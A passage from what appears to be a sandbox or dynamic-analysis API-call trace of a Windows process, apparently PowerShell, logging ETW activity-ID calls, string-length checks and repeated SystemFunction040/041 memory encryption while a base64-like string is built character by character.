ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.575] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.576] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.576] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0130.576] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.576] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.576] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.577] SysStringLen (param_1="") returned 0x8 [0130.577] SysStringLen (param_1="Y") returned 0x8 [0130.577] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.577] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.577] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.577] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.577] SysStringLen (param_1="YW") returned 0x8 [0130.577] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.577] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.577] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.577] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.577] SysStringLen (param_1="YWM") returned 0x8 [0130.577] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.577] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.577] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.577] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.577] SysStringLen (param_1="YWM1") returned 0x8 [0130.578] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.578] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.578] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.578] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.578] SysStringLen (param_1="YWM1O") returned 0x8 [0130.578] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.578] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.578] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.578] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.578] SysStringLen (param_1="YWM1OT") returned 0x8 [0130.578] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.578] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.578] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.578] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.578] SysStringLen (param_1="YWM1OTE") returned 0x8 [0130.578] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.579] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.579] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.579] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.579] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0130.579] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.579] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.579] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.579] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.579] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0130.579] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.579] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0130.579] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.579] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.579] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.579] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.579] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0130.579] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.580] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0130.580] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.580] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0130.580] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.580] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0130.580] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.581] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.581] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0130.581] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.581] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.581] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0130.581] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.581] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.581] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0130.581] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0130.582] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.582] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0130.582] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.582] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.582] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0130.582] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.582] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.582] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0130.582] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.582] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.583] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0130.583] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.583] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.583] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0130.583] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.583] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.583] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0130.583] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.584] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.584] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0130.584] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.585] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.585] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0130.585] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0130.585] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.585] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0130.585] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.585] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0130.586] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.586] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0130.586] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.586] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0130.586] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.586] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0130.586] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0130.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0130.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen 